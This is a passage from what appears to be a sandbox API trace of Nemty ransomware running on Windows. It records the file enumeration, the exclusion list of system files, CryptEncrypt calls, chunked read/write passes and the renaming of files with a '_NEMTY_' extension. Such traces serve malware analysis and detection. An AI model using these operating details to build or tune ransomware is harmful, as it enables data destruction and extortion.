(HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0095.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0095.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0095.499] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv._nemty_kgobjgd_")) returned 0 [0095.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0095.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0095.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0095.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0095.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0095.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0095.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0095.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0095.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.500] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2=".") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="..") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="...") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="windows") returned -1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="$RECYCLE.BIN") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="rsa") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="NTDETECT.COM") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="ntldr") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="MSDOS.SYS") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="IO.SYS") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="boot.ini") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="boot.ini") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="ntuser.dat") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="desktop.ini") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="CONFIG.SYS") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="RECYCLER") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="BOOTSECT.BAK") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="bootmgr") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="programdata") returned 1 [0095.500] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="appdata") returned 1 [0095.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0095.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMainMask.wmv", lpUsedDefaultChar=0x0) returned 25 [0095.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0095.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0095.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMainMask.wmv", lpUsedDefaultChar=0x0) returned 25 [0095.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0095.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0095.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMainMask.wmv", lpUsedDefaultChar=0x0) returned 25 [0095.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0095.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMainMask.wmv", lpUsedDefaultChar=0x0) returned 25 [0095.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0095.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0095.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0095.501] Sleep (dwMilliseconds=0x5) [0095.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec9447d0, dwHighDateTime=0x1d561e7)) [0095.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec9447d0, dwHighDateTime=0x1d561e7)) [0095.517] GetLastError () returned 0x5 [0095.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.517] GetLastError () returned 0x5 [0095.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0095.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0095.517] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0095.517] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0095.517] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0095.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0095.517] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="LL3Y6nQDpHVZF/qhcwGb/HlloxRKA8uuO6ChFM/Eq+tK/I3mnntOGsicryazDstH\r\neNeHMhhM3/IntrUfC2hUI0hCPunZcj9lNfZ3KiJCSbpg0lKruIvQDib6m7lhoe0D\r\nPeh1PChvId+XNGLGk8nUdnaahowypWYiRnU85UfOt5fdj4wo5eh+ec9mcmHYqwUx\r\n2qNqirN7Kbh3ZI1uffFb0oIFZih/bJDNyJGjpqMXm+kyPH8Vv6ZObfZwvWnoavvq\r\n3ZAqwThmp32T6Fgk9l0mp+dsMlyDitGL/DF+si4gztRAtDleKxasxMZWe+fcyMJ4\r\n3FBR3uX3gPO04/1JO1TgfQ==\r\n", pcchString=0x653e91c) returned 1 [0095.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0095.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0095.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0095.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0095.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0095.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0095.517] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.518] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0095.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0095.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.547] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0095.624] CloseHandle (hObject=0xffffffff) returned 0 [0095.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0095.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0095.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0095.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0095.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0095.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0095.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0095.624] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv._nemty_kgobjgd_")) returned 0 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.624] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, 